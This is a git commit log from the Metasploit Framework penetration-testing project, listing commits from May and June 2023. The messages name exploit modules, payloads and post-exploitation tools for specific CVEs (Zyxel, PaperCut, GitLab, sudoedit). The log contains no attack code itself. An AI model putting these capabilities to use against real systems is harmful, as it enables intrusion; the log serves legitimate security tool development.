Grant Willcox ae4e616c3b Update Navigating-And-Undstanding-Metasploits-Codebase to add new code navigation tools and debugging tools
Move debugging info into same file and make markdown match standards

Add more info on Pry debugging using Alan David Foster's explaination

Fix up broken URL links and format new URL links correctly

Fix up formatting and add information on Debug.gem supported commands
2023-06-09 09:17:46 -05:00
Spencer McIntyre 296a7afc86 Land #18076, Don't use length for freeing. 2023-06-09 10:10:29 -04:00
Spencer McIntyre 66d2477d62 Add some tests for NtdsCaSecurityExt 2023-06-09 09:27:35 -04:00
Metasploit caba471cfb automatic module_metadata_base.json update 2023-06-09 08:18:52 -05:00
Spencer McIntyre 1284cb39d0 Land #18016, CVE-2023-28771 - Zyxel Cmd Injection
CVE-2023-28771 - Zyxel Command Injection
2023-06-09 09:03:03 -04:00
sfewer-r7 27f5a789c9 rework the exploit to use the new MIPS64 fetch payload adapters. Removed the seperate command and dropper targets in favor of a single default target which can do both thanks to fetch payloads. Removed the redundant IO select() call which was bad copy pasta on my part. 2023-06-09 09:47:57 +01:00
Stephen Fewer a1528556e0 Merge branch 'rapid7:master' into CVE-2023-28771 2023-06-09 09:42:19 +01:00
Metasploit 31c65c8a35 automatic module_metadata_base.json update 2023-06-08 19:33:07 -05:00
bwatters 039f238dd4 Land #18068, Fix VBS stager in shell_to_meterpreter
Merge branch 'land-18068' into upstream-master
2023-06-08 19:16:54 -05:00
h00die-gr3y dfc366e022 Latest updates based on reviewers comments 2023-06-08 21:25:40 +00:00
h00die 3e538a34af review comments 2023-06-08 16:38:22 -04:00
Grant Willcox dce2965d3f Bump up dependency versions 2023-06-08 14:20:59 -05:00
Metasploit 4b082b997b automatic module_metadata_base.json update 2023-06-08 14:16:14 -05:00
Spencer McIntyre 238118e8b5 Update module docs to discuss KB5014754 changes 2023-06-08 15:10:35 -04:00
Spencer McIntyre 2acc014014 Fix AS-REQ with PKINIT and NTDS_CA_SECURITY_EXT 2023-06-08 15:10:35 -04:00
Spencer McIntyre 47835b57a7 Add the ALT_SID datastore option 2023-06-08 15:10:27 -04:00
Spencer McIntyre 5b5c29842c Land #18022, Add post/windows/manage/make_token
Add update_token to MSF + make_token post-ex module
2023-06-08 14:53:22 -04:00
Spencer McIntyre d8870d7876 Address msftidy_docs complaints 2023-06-08 14:52:57 -04:00
Metasploit 92cf562950 Bump version of framework to 6.3.21 2023-06-08 12:12:50 -05:00
Metasploit 55e67ac5cd automatic module_metadata_base.json update 2023-06-08 11:47:13 -05:00
Steve Campbell 229fc0c002 Added symmetricom_syncserver_rce.rb 2023-06-08 12:46:10 -04:00
Christophe De La Fuente c08f1971cc Land #18040, Fix Python's payload issue with Windows 2023-06-08 18:28:07 +02:00
Metasploit 601306b795 automatic module_metadata_base.json update 2023-06-08 08:56:26 -05:00
Grant Willcox a1e930397a Land #18072, Add CVE-2023-1133 - .NET Deserialization exploit for Delta Electronics InfraSuite Device Master 2023-06-08 08:42:07 -05:00
h00die-gr3y 0bcd930f61 Updated NAS model and version check 2023-06-08 09:12:45 +00:00
h00die-gr3y b3b0cb4ccf Updates based on space-r7 comments 2023-06-08 07:39:44 +00:00
Ashley Donaldson 717ceae45b Don't use length for freeing.
MSDN says this will never succeed - should always be zero.
2023-06-08 15:02:41 +10:00
manishkumarr1017 6030f75b1a fixing indentation for shell reverse tcp payload 2023-06-08 06:52:33 +05:30
manishkumarr1017 d454e23aa0 decoding bytes from all python payloads 2023-06-08 06:44:37 +05:30
space-r7 74dd134783 add options in scenarios output 2023-06-07 17:15:28 -05:00
Grant Willcox 4465582fee Add in link to archived version of the installer 2023-06-07 16:51:01 -05:00
Shelby Pace 3bc145c02c Update modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:42:01 -05:00
Shelby Pace 2738906f87 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:44 -05:00
Shelby Pace 54649fb856 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:37 -05:00
Shelby Pace 4377ff037a Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:28 -05:00
Shelby Pace 60c642bcd0 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:19 -05:00
h00die e3bcc9ac08 rocketmq version scanner 2023-06-07 17:29:53 -04:00
Metasploit 72102de2f2 automatic module_metadata_base.json update 2023-06-07 15:06:56 -05:00
Grant Willcox 5b39eaafc1 Land #18074, Fix exception handling in gitlab_github_import_rce_cve_2022_2992 module 2023-06-07 14:52:21 -05:00
Metasploit dbc7a8cb61 automatic module_metadata_base.json update 2023-06-07 14:48:34 -05:00
Grant Willcox 23451260af Land #18064, Add support for beta and prerelease versions to grafana_plugin_traversal 2023-06-07 14:33:31 -05:00
Grant Willcox b923b0c8c3 Add in a typo fix 2023-06-07 11:34:00 -05:00
Grant Willcox ffbd690a33 Add in ability to support detecting preview versions 2023-06-07 11:25:51 -05:00
space-r7 8f6b421dc1 add non-capture group 2023-06-07 10:52:58 -05:00
Metasploit d3c662b42b automatic module_metadata_base.json update 2023-06-07 08:35:09 -05:00
Christophe De La Fuente 82c8b5418e Land #17936, PaperCutNG Authentication Bypass with RCE 2023-06-07 15:05:51 +02:00
Christophe De La Fuente 991b9604e5 Add options to the documentation 2023-06-07 15:05:12 +02:00
Metasploit aa1a014d89 automatic module_metadata_base.json update 2023-06-07 06:25:49 -05:00
Christophe De La Fuente f88cb3b847 Land #18039, gitlab file read CVE-2023-2825 2023-06-07 13:07:54 +02:00
h00die-gr3y 46fcdb76d5 Updates based on jvoisin comments 2023-06-07 08:27:55 +00:00
h00die 4950cb3424 review adjustments 2023-06-06 16:24:38 -04:00
space-r7 2fcd97f5ef close socket 2023-06-06 14:37:58 -05:00
space-r7 102a32c87b add SCREEN_EFFECTS and akb assessment 2023-06-06 14:12:21 -05:00
space-r7 3b53966caa add installation steps 2023-06-06 12:14:14 -05:00
Christophe De La Fuente 451735ad15 Fix exception handler & add doc 2023-06-06 17:43:22 +02:00
catatonicprime a03603d076 Documentation linting. 2023-06-06 15:35:20 +00:00
h00die-gr3y 2e34d69133 Added documentation 2023-06-06 12:18:59 +00:00
cgranleese-r7 18ddd72285 Update jenkins login scanner to work with newer versions 2023-06-06 11:54:55 +01:00
attl4s ec948b5c16 add documentation 2023-06-06 10:04:57 +02:00
attl4s a34c3cf055 linted - all offenses addressed 2023-06-06 09:07:57 +02:00
h00die-gr3y 3e6ae74886 init commit module 2023-06-06 07:07:36 +00:00
RageLtMan e6b1ae2af8 Remote::JndiInjection: handle LDAP UnbindRequest 2023-06-06 00:54:40 -04:00
space-r7 5f7ae883f8 add documentation 2023-06-05 17:38:58 -05:00
space-r7 a12b58df22 add cmdstager usage, description, and metadata 2023-06-05 17:38:27 -05:00
Ashley Donaldson 61539ac260 Fix VBS stager in shell_to_meterpreter. 2023-06-06 07:23:58 +10:00
Metasploit 80e14846fe automatic module_metadata_base.json update 2023-06-05 13:57:46 -05:00
Grant Willcox 0d094f8645 Land #17917, shell_to_meterpreter: Support using bind payloads with PAYLOAD_OVERRIDE 2023-06-05 13:36:30 -05:00
Grant Willcox d029b26b4f Land #18062, Created mixin to retrieve the architecture of the current shell. 2023-06-05 12:58:57 -05:00
h00die-gr3y 52745a96d7 Added documentation 2023-06-05 17:18:57 +00:00
Grant Willcox 94ef437f9f Add in YARD documentation 2023-06-05 12:10:10 -05:00
Grant Willcox 9574c79d36 Remove extra code 2023-06-05 12:07:27 -05:00
Metasploit 70d0b5eee6 automatic module_metadata_base.json update 2023-06-05 11:20:27 -05:00
Grant Willcox 6f2f51bdc3 Land #18066, refactor archer_c7_traversal as gather module 2023-06-05 10:57:50 -05:00
h00die-gr3y 00e39eb540 updated CMD stager order 2023-06-05 14:54:31 +00:00
Jeffrey Martin 4e91a4e93d refactor archer_c7_traversal as gather module
* Update modules landed as a scanner into a more appropriate category.
* Adds a check method based on TP-link default `TITLE` html.
* Rename module consistent with existing exploit.
2023-06-05 09:07:11 -05:00
ErikWynter ba3d6dc0f9 fix typo in print statement from original module 2023-06-05 16:21:00 +03:00
ErikWynter 12f59d54df print the full version to the console 2023-06-05 15:49:06 +03:00
ErikWynter c5ff96fdfe grafana_plugin_traversal bugfix 2023-06-05 15:40:27 +03:00
h00die-gr3y 07def1c9f0 init commit module 2023-06-05 11:19:42 +00:00
Ashley Donaldson 795980260b Created mixin to retrieve the architecture of the current shell.
Currently only supports Windows, but does work on Win2000 upwards.
2023-06-05 11:10:53 +10:00
space-r7 1c5f8e09c8 add check method and new options 2023-06-02 17:59:04 -05:00
h00die 8f3325bcf8 move gitlab_auth_subgroups to gahter instead of scanner 2023-06-02 18:06:44 -04:00
Grant Willcox 1a36b81ba0 Land #18057, Update metasploit-payloads gem to 2.0.135 2023-06-02 13:03:34 -05:00
Metasploit c9627a7274 automatic module_metadata_base.json update 2023-06-02 11:30:01 -05:00
Spencer McIntyre 734e0b099e Land #18018, Add in CVE-2023-29084
Add in CVE-2023-29084 - Zoho ManageEngine ADManager Plus ChangePasswordAction
Authenticated Command Injection
2023-06-02 12:14:43 -04:00
Metasploit 7a2505e6f8 automatic module_metadata_base.json update 2023-06-02 11:10:00 -05:00
bwatters 1e9d286c77 Land #18044, Add MIPS64 Linux Fetch Payloads
Merge branch 'land-18044' into upstream-master
2023-06-02 10:53:43 -05:00
Grant Willcox 7728e1e2fb Add in new library function for escaping PowerShell literals 2023-06-02 10:22:56 -05:00
Grant Willcox 617aff5a43 Fix up supported payloads and remove nonused parameter 2023-06-02 09:48:03 -05:00
Grant Willcox f7d2cdae56 Add in ability to restore settings n documentation changes.
Previously there was not the ability to restore the server proxy setting.
This updates the code to do so. Additionally this also updates the documentation
to note that Fetch payloads are incompatible with this module since they
use HTTP connections that will be impacted by this module changing the server's
HTTP proxy settings. There is no way around this.
2023-06-02 09:48:03 -05:00
Grant Willcox 965311d09e Fix documentation and fix bug in creating PARMS value 2023-06-02 09:48:02 -05:00
Grant Willcox 6e89f9b275 Address review comments 2023-06-02 09:48:02 -05:00
Grant Willcox 3ab4173d6c Fix up base64 encoder to properly quote strings - credit to @smcintyre-r7 for the fix 2023-06-02 09:48:02 -05:00
Grant Willcox 8577f21e52 Add in documentation and updated code 2023-06-02 09:48:01 -05:00
Grant Willcox 05bb3cd182 Update again 2023-06-02 09:48:01 -05:00
Grant Willcox c78a9bac1d Remove dropper target and try expand potential BadChars and limit payload size??? 2023-06-02 09:48:01 -05:00
Grant Willcox 6d066dc649 Add in initial copy of exploit 2023-06-02 09:47:49 -05:00
Spencer McIntyre 372f9cdcfc Update metasploit-payloads gem to 2.0.135
Includes changes from:
* rapid7/metasploit-payloads#648
* rapid7/metasploit-payloads#637
* rapid7/metasploit-payloads#646
* rapid7/metasploit-payloads#645
* rapid7/metasploit-payloads#643
* rapid7/metasploit-payloads#640
2023-06-02 09:49:57 -04:00
Metasploit 93614513ec automatic module_metadata_base.json update 2023-06-02 08:43:07 -05:00
Spencer McIntyre 8b641c4c97 Land #18055, Update aws_keys to run against linux
Update post/multi/gather/aws_keys to run against linux sessions
2023-06-02 09:28:13 -04:00
Spencer McIntyre a6f1be8efd Add new payloads to payloads_spec.rb 2023-06-02 09:07:18 -04:00
Metasploit 48b86c2578 automatic module_metadata_base.json update 2023-06-02 06:11:26 -05:00
Christophe De La Fuente 4661e9721e Land #18002, Added cmd useradd payload 2023-06-02 12:53:49 +02:00
manishkumarr1017 f8460dcdd2 PR Review changes for removing platform specific code 2023-06-02 14:50:46 +05:30
h00die da2e339ae8 review adjustments 2023-06-02 05:15:44 -04:00
space-r7 a66641da55 add delta electronics infrasuite deserialization 2023-06-01 17:57:57 -05:00
Grant Willcox 0f71613b66 Land #18056, Modify command stagers to not go over 100% 2023-06-01 16:06:13 -05:00
Metasploit 9b929dab14 automatic module_metadata_base.json update 2023-06-01 15:28:09 -05:00
Grant Willcox 7f7c5ea1f1 Land #17868, Improve check_host return code handling 2023-06-01 15:04:59 -05:00
Grant Willcox f6dc2c007a Fix up messages to more closely match check code messages and fix typos 2023-06-01 12:38:20 -05:00
adfoster-r7 c6816fceec Update post agther aws keys to run against linux 2023-06-01 18:19:11 +01:00
Ryuuuuu d535bb87ad Fix up logic to handle check_host return codes 2023-06-01 12:17:59 -05:00
Metasploit 25e8cf8faf Bump version of framework to 6.3.20 2023-06-01 12:10:08 -05:00
Zach Goldman 96f2c96a75 modify command stagers to not go over 100% 2023-06-01 12:07:07 -05:00
RadioLogic 4183cd444d Added unixcrypt to payload 2023-06-01 12:30:26 -04:00
Grant Willcox 068e0f5192 Land #18052, Fix broken file upload test on Windows sessions 2023-06-01 11:22:18 -05:00
Metasploit 2c987da8e1 automatic module_metadata_base.json update 2023-06-01 11:11:29 -05:00
Christophe De La Fuente 8ed981e575 Land #18003, Archer c7 traversal 2023-06-01 17:37:13 +02:00
Spencer McIntyre 8378435051 Land #17430, Add AWS SSM Sessions 2023-06-01 11:34:40 -04:00
RadioLogic c336f179d6 Gave rootmethod option better description
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-01 11:32:39 -04:00
RadioLogic d868d0ec14 Fixed double checking of sudoers
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-01 11:32:03 -04:00
adfoster-r7 4340245b14 Fix broken binary file upload test on windows sessions 2023-06-01 14:18:53 +01:00
adfoster-r7 46f7f8e7b0 Add module for running all post test modules 2023-06-01 11:51:33 +01:00
Ashley Donaldson 7f4bda193d Support retrieving Service Pack version on older OSes 2023-06-01 10:48:17 +10:00
Spencer McIntyre 9349dd24e3 Add a proper definition for NtdsCaSecurityExt 2023-05-31 17:31:33 -04:00
Grant Willcox 2a410e126d Land #18026, Fix non-deterministic test module load failures 2023-05-31 15:09:17 -05:00
h00die 1267d067b3 move gitlab_subgroup to gitlab_authenticated_subgroup 2023-05-31 15:29:00 -04:00
Grant Willcox ab12bee83e Fix single quote issue 2023-05-31 14:25:02 -05:00
catatonicprime 3875947f7d Removing unnecessary assignment 2023-05-31 19:17:30 +00:00
Metasploit d60f21df24 automatic module_metadata_base.json update 2023-05-31 12:49:42 -05:00
RadioLogic 0e477bdc9a Used unixcrypt to create encrypted password
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 13:47:29 -04:00
RadioLogic 2fab56f905 Made cachesize dynamic
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 13:46:05 -04:00
Grant Willcox 6756047f1f Land #18028, Add Apache NiFi login scanner module 2023-05-31 12:25:18 -05:00
Grant Willcox ccbdd7870e Update documentation 2023-05-31 11:57:42 -05:00
Catatonic Prime 6351c66b1e Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 08:56:13 -07:00
Catatonic Prime 6ad9ebb5c0 Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 08:48:53 -07:00
Grant Willcox 1fd2d41835 Fix typos and add dig for safe navigation 2023-05-31 10:34:10 -05:00
shellchocolat 1fbba702de add support to masm formatting 2023-05-31 17:17:17 +02:00
Ashley Donaldson 4b1158d5f1 Use existing shell registry logic 2023-05-31 11:24:33 +10:00
Grant Willcox cf9f9905e3 Fix more typos 2023-05-30 17:30:57 -05:00
Ashley Donaldson 778a2c47b7 Updated unit tests to use registry 2023-05-31 08:09:54 +10:00
Grant Willcox c0671c325a Touch up typos in documentation 2023-05-30 15:27:31 -05:00
Spencer McIntyre d7098aa06d Add MIPS64 fetch adapters 2023-05-30 15:03:06 -04:00
Spencer McIntyre 8a0dfa57a0 Drop size requirement and fix descriptions
The size requriement is used when the adapted payload is executed from
the command line but that's not the case for the fetch payloads which
execute a command to fetch the payload from a URL. The payload size
doesn't matter because it's included in the executable file hosted at
the URL.
2023-05-30 15:03:06 -04:00
catatonicprime 530ed911f4 Fixing ZDI ID 2023-05-30 19:03:01 +00:00
catatonicprime b376dac34b okay linter 2023-05-30 18:40:59 +00:00
catatonicprime cbf850b2b7 Apparently the comment after the rescue squelchs the linter. 2023-05-30 18:38:48 +00:00
Grant Willcox 3d63d0b097 Land #18030, Fix missing return in HTTP CmdStagers 2023-05-30 13:14:21 -05:00
Grant Willcox 42d4c73cda Land #18031, Improve help for "edit" and "log" commands 2023-05-30 11:43:21 -05:00
Metasploit 490a30aa4a automatic module_metadata_base.json update 2023-05-30 11:34:17 -05:00
Grant Willcox d194cf28eb Land #18032, Escape braces after all in cmd/brace encoder 2023-05-30 11:18:34 -05:00
Metasploit 4da004938f automatic module_metadata_base.json update 2023-05-30 10:27:30 -05:00
Grant Willcox 002c575ee1 Land #18036, Fix incorrect error handling in IBM sametime enumerate users module 2023-05-30 09:53:54 -05:00
Christophe De La Fuente ef89219715 Land #17899, Dolibarr 16 unauthenticated contact database dump 2023-05-30 16:41:28 +02:00
Christophe De La Fuente 7bde39ae73 Fixes from code review 2023-05-30 13:26:56 +02:00
adfoster-r7 e2718eb40c Land #18019, Fixes validation for to_handler command for Evasion and Payload modules 2023-05-30 10:39:01 +01:00
Ashley Donaldson 568e346d11 Support Windows 2000 by using ver command 2023-05-30 13:23:44 +10:00
Ashley Donaldson a94f78ec03 Use direct registry lookups to get version data, to cater for different language packs. 2023-05-30 12:21:12 +10:00
adfoster-r7 a5171ffa3a Land #18041, Minor fix in vsftpd_232.md docs 2023-05-29 23:59:54 +01:00
Metasploit d74b221df3 automatic module_metadata_base.json update 2023-05-29 17:02:08 -05:00
Jack Heysel b575f92d0a Minor fix in vsftpd docs 2023-05-29 17:55:36 -04:00
Jack Heysel 0b9aff0661 Land #18004, VSFTPD Dos Module
This PR adds a dos module for cve-2011-0762
which exploits the vsftpd server
2023-05-29 17:39:02 -04:00
jheysel-r7 1018ed1aaf Update documentation/modules/auxiliary/dos/ftp/vsftpd_232.md 2023-05-29 15:40:42 -04:00
Metasploit b9038bfbfb automatic module_metadata_base.json update 2023-05-29 11:48:51 -05:00
Jack Heysel fa6d168121 Land #18025, Apache NiFi version scanner module
This PR adds a verion scanner for Apache Nifi
2023-05-29 12:21:39 -04:00
manishkumarr1017 bebf8d4db8 changing payload structure of python's reverse_tcp for fixing windows bytes args is not allowed issue 2023-05-29 21:38:16 +05:30
h00die 5f308e0176 gitlab file read CVE-2023-2825 2023-05-29 00:55:02 -04:00
h00die 01359e77a7 gitlab file read CVE-2023-2825 2023-05-29 00:52:07 -04:00
h00die 0ccfa4af87 gitlab file read CVE-2023-2825 2023-05-29 00:48:15 -04:00
adfoster-r7 489421f6be Fix incorrect error handling in ibm sametime enumerate users 2023-05-28 00:29:17 +01:00
h00die cf2ca434a8 spelling 2023-05-26 15:53:16 -04:00
h00die 93479be5e6 review comments 2023-05-26 15:47:22 -04:00
RadioLogic 573eb4bda4 Merge branch 'master' into archer_c7_traversal 2023-05-26 01:48:43 -04:00
wvu f5bec517a0 Escape braces after all in cmd/brace encoder
Previously escaped only commas.
2023-05-25 23:46:18 -05:00
wvu 00451e3aec Improve help for "edit" and "log" commands
Talking about `LocalEditor` and `LocalPager`.
2023-05-25 23:22:54 -05:00
wvu 9528339761 Fix missing return in HTTP CmdStagers
Fetch payloads are cooler, but this was missed in https://github.com/rapid7/metasploit-framework/pull/13426.
2023-05-25 22:22:23 -05:00
RadioLogic 250a8768e3 Updated doc to appease msftidy 2023-05-25 21:28:19 -04:00
RadioLogic 61c4ba7503 Renamed module to correct name 2023-05-25 21:21:49 -04:00
RadioLogic 376ef7a8bc Made several fixes for msftidy 2023-05-25 21:16:07 -04:00
h00die 48207dd9f1 apache nifi login module 2023-05-25 16:57:32 -04:00
Jack Heysel d8255157c9 Land #18021, Fix #cd for Powershell Sessions 2023-05-25 14:26:01 -04:00
RadioLogic 72ef6537ef Added tested versions to description 2023-05-25 14:21:52 -04:00
RadioLogic cb8d86651d Added build setup for arch linux 2023-05-25 14:19:44 -04:00
RadioLogic b11b31c9ae Moved docker description into vulnerable application 2023-05-25 14:18:15 -04:00
RadioLogic 1d98cb0069 Added better description to documentation 2023-05-25 13:34:04 -04:00
Metasploit 8368b80ad6 Bump version of framework to 6.3.19 2023-05-25 12:05:49 -05:00
attl4s 217df628df fix getting the username + use Failure::BadConfig instead of NoTarget 2023-05-25 19:05:42 +02:00
attl4s 39b45694af Update datastore option USER -> USERNAME
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-05-25 18:55:49 +02:00
Jeffrey Martin 2879dcaf14 Land #18024, fix case-insensitive hash collisions 2023-05-25 10:42:39 -05:00
Zach Goldman 7215b88bad bump credential version 2023-05-25 10:38:39 -05:00
Ashley Donaldson 75ba9110e2 Added module for Windows version comparisons
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
2023-05-25 14:36:46 +10:00
adfoster-r7 9f0032582a Fix non-deterministic test module load failures 2023-05-25 02:44:03 +01:00
h00die 7c2790513d apache nifi version scanner 2023-05-24 20:05:34 -04:00
Grant Willcox 7ca7c6aee1 Slight efficiency improvements 2023-05-24 17:36:39 -05:00
Grant Willcox e80987ea59 First round of updates from review 2023-05-24 13:17:49 -05:00
Grant Willcox e78cf054b8 Add in EITW notes 2023-05-24 13:17:49 -05:00
Grant Willcox 84961e6e09 Add in documentation 2023-05-24 13:17:49 -05:00
Grant Willcox 9e8d1ed2ea Add in Java class file, raw source code, and tidy up the module a bit 2023-05-24 13:17:48 -05:00
Grant Willcox 155319d479 Save work 2023-05-24 13:17:48 -05:00
Grant Willcox 3faf96aa9d Check return code on target server responses 2023-05-24 13:17:48 -05:00
Grant Willcox 5ded2adfb5 Add in code initial code to start supporting JNDI loading of remote classes, currently a bit broken though 2023-05-24 13:17:47 -05:00
Grant Willcox d00d339de5 Initial copy with JNDI connection back to LDAP server. 2023-05-24 13:17:47 -05:00
RadioLogic 1c57019096 Merge branch 'master' into vsftpd_232 2023-05-24 10:58:22 -04:00
RadioLogic 9c58289b21 Added container info in documentation 2023-05-24 10:54:31 -04:00
RadioLogic 0aee634d67 Put authors on separate lines 2023-05-24 10:48:31 -04:00
attl4s 240fd65d0c module, not exploit 2023-05-24 16:30:38 +02:00
attl4s 623657b072 Logontype changed to OptEnum + better meterpreter session requirement check 2023-05-24 16:28:56 +02:00
attl4s 42ef5ad322 remove TLV_TYPE_TOKEN_UPDATE_RESULT - update_token sends empty response when succeeds 2023-05-24 16:12:12 +02:00
attl4s 3a685849a8 add update_token bridge + make_token module 2023-05-24 10:33:52 +02:00
vtoutain b327809450 Changes regarding auxiliary modules
Changed back some modifications of includes and functions definitions that were related to exploit modules.
2023-05-24 09:28:41 +02:00
vtoutain e542c50154 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-05-24 09:26:03 +02:00
Spencer McIntyre ed5d516c21 Sync the .NET working path for Powershell sessions
See: https://github.com/PowerShell/PowerShell/issues/10278
2023-05-23 15:21:52 -04:00
Spencer McIntyre afb31b0f21 Add a function to escaple cmd.exe string literals 2023-05-23 15:17:39 -04:00
Grant Willcox e749945b01 Land #18009, Clearing http web data service credentials in msfconsole 2023-05-23 12:15:52 -05:00
Metasploit 5189c7af83 automatic module_metadata_base.json update 2023-05-23 08:57:43 -05:00
Spencer McIntyre 9e38ed4459 Land #17929, Linux sudoedit LPE (CVE-2023-22809)
Linux sudoedit priv esc (CVE-2023-22809)
2023-05-23 09:30:18 -04:00
cgranleese-r7 3e327efdc4 Fixes validation for to_hanler command for Evasion and Payload modules 2023-05-23 10:16:06 +01:00
Spencer McIntyre 120dc877ad Pr/collab/17430 (#41)
* Prevent using post modules with the session

It doesn't work reliably because of winpty and how the output is
mangled.

* Set the limit correctly

* Fix Linux PTY downgrade issues

* Remove filtering

The filtering implementation is incomplete and unnecessary.

Filtering is unnecessary because Linux sessions execute a stub on
session start up that uses a combiantion of stty and a fifo to emulate a
PTY-less session. Windows sessions do not need filtering because they
have been explictly marked as being incompatible with the Post API which
is confused by the extra characters.

The filtering implementation is incomplete because it does not account for
echo fragments that are split across lines. It also does not account for
all of the ANSI escape codes.

* Add module docs for enum_ssm
2023-05-22 17:11:16 -04:00
sfewer-r7 0205bb36d3 change ranking to GreatRanking as stability is CRASH_SERVICE_RESTARTS 2023-05-22 20:09:11 +01:00
adfoster-r7 f89de600be Land #18015, remove dead link from wiki 2023-05-22 18:44:09 +01:00
sfewer-r7 6b101b5a4d make rubocop happy 2023-05-22 18:03:58 +01:00
adfoster-r7 1eb6996ea5 Land #17989, Improves flag formatting for kerberos ticket presenter 2023-05-22 17:42:10 +01:00
Tom Kelley 4dcfe0a1cf Remove dead link 2023-05-22 09:38:36 -07:00
Metasploit d9cbe065ce automatic module_metadata_base.json update 2023-05-22 10:15:11 -05:00
space-r7 60f6574bf3 Land #17965, add module for AD CS cert management 2023-05-22 09:50:53 -05:00
dwelch-r7 e27a08a073 Land #18010, Fix edgecase crash when running smb_login with Kerberos auth activated 2023-05-22 15:44:33 +01:00
Spencer McIntyre 0a3247f1a7 Add documentation 2023-05-22 10:29:03 -04:00
Spencer McIntyre e3823691a1 Add module for AD CS template CRUD operations 2023-05-22 10:28:58 -04:00
Grant Willcox ae430ff3db Land #18013, Exclude IDE development collateral from Gemspec 2023-05-22 09:03:10 -05:00
Jeffrey Martin 5a96979363 exclude IDE development collateral from gemspec 2023-05-22 08:28:23 -05:00
Spencer McIntyre 8258657a45 Add the ESC1 certificate template 2023-05-22 09:21:24 -04:00
Spencer McIntyre a88751167b Add specs for .from_sddl_text 2023-05-22 09:21:24 -04:00
Spencer McIntyre ff4fafda2f Add support for parsing SDDL 2023-05-22 09:21:24 -04:00
Spencer McIntyre 3af052390d Add well known SID and RID constants 2023-05-22 09:21:24 -04:00
Spencer McIntyre 49fd6e876a Add constants from MS-CRTD 2023-05-22 09:21:24 -04:00
Spencer McIntyre 1ffefcbea4 Treat the subauthority as optional
This allows some additional SIDs to function such as
SECURITY_CREATOR_SID_AUTHORITY.
2023-05-22 09:21:24 -04:00
Spencer McIntyre d23f407c44 Monkey patch #modify to accept controls 2023-05-22 09:21:24 -04:00
Spencer McIntyre dcbc6d19c5 Update #validate_query_result!
The function required a filter argument, but not every query has a
filter. By removing it, we can reuse the same logic for other operations
including modifications.
2023-05-22 09:21:20 -04:00
RadioLogic f1468a83ed Added forgotten end 2023-05-21 13:40:52 -04:00
RadioLogic 7a9f13c960 Added option to remove sudoers check 2023-05-21 12:18:32 -04:00
RadioLogic 4b3d6b59cc Replaced fail_with with raised error 2023-05-21 12:10:18 -04:00
RadioLogic dc11d818aa Corrected failwith statement 2023-05-21 00:37:00 -04:00
RadioLogic 3dc9438b3a Added firmware version to documentation 2023-05-21 00:33:33 -04:00
RadioLogic 33e59a291e Added check for user 2023-05-21 00:26:18 -04:00
RadioLogic e0e214e241 Merge branch 'master' into useradd 2023-05-20 18:21:18 -04:00
RadioLogic ed026e52eb Fixed echo option so sudo would work 2023-05-20 18:14:46 -04:00
RadioLogic fffc7f514d Fixed issue with description 2023-05-19 15:24:53 -04:00
RadioLogic c42905fe92 Updated description 2023-05-19 13:45:45 -04:00
RadioLogic d07f2ed633 Set default method to sudo 2023-05-19 13:45:11 -04:00
RadioLogic b077167d73 Redesigned to not use exectuable at all 2023-05-19 13:34:12 -04:00
RadioLogic a8fd4e7aba Renamed to adduser for consistency 2023-05-19 13:31:55 -04:00
adfoster-r7 9dd10d6df7 Fix edgecase crash when running smb_login with Kerberos auth activated 2023-05-19 16:12:16 +01:00
cgranleese-r7 8d131f0a95 Updates the msfdb prompts for webservice 2023-05-19 12:57:35 +01:00
Metasploit 428229aede Bump version of framework to 6.3.18 2023-05-18 12:10:55 -05:00
Metasploit 61569a0b2e automatic module_metadata_base.json update 2023-05-18 11:43:04 -05:00
Spencer McIntyre f464401dde Land #17782, Add fetch payloads
Add http wget cmd based fetch payload for Linux and Windows
2023-05-18 12:18:27 -04:00
cgranleese-r7 de6e26de8e Land #18006, Fix error when msfconsole opens browser links without a display present 2023-05-18 16:56:29 +01:00
bwatters 548a2d7ab4 Add fetch payloads for Windows and Linux x64 2023-05-18 10:47:29 -05:00
cgranleese-r7 26daa65c58 Land #18005, Fix crash when running a module through socks 4a proxy 2023-05-18 13:25:33 +01:00
adfoster-r7 39f4ccd9f9 Fix error when msfconsole opens browser links without a display present 2023-05-18 10:29:22 +01:00
adfoster-r7 3e32c0e22d Fix crash when running a module through socks 4a proxy 2023-05-18 10:25:56 +01:00
Metasploit 4df7551759 automatic module_metadata_base.json update 2023-05-17 19:11:48 -05:00
space-r7 6c88e85d02 Land #17993, add invscout RPM privesc 2023-05-17 18:56:42 -05:00
Grant Willcox 2c0dc61bd2 Land #17991, Add config for Solargraph to aid IDEs 2023-05-17 16:10:44 -05:00
Grant Willcox d4b9473294 Ignore .solargraph.yml config file 2023-05-17 15:03:05 -05:00
RadioLogic 21273648a4 Fixed response using double quotes 2023-05-17 12:39:02 -04:00
RadioLogic 6882a7cc60 Shortened payload to be readable 2023-05-17 12:05:40 -04:00
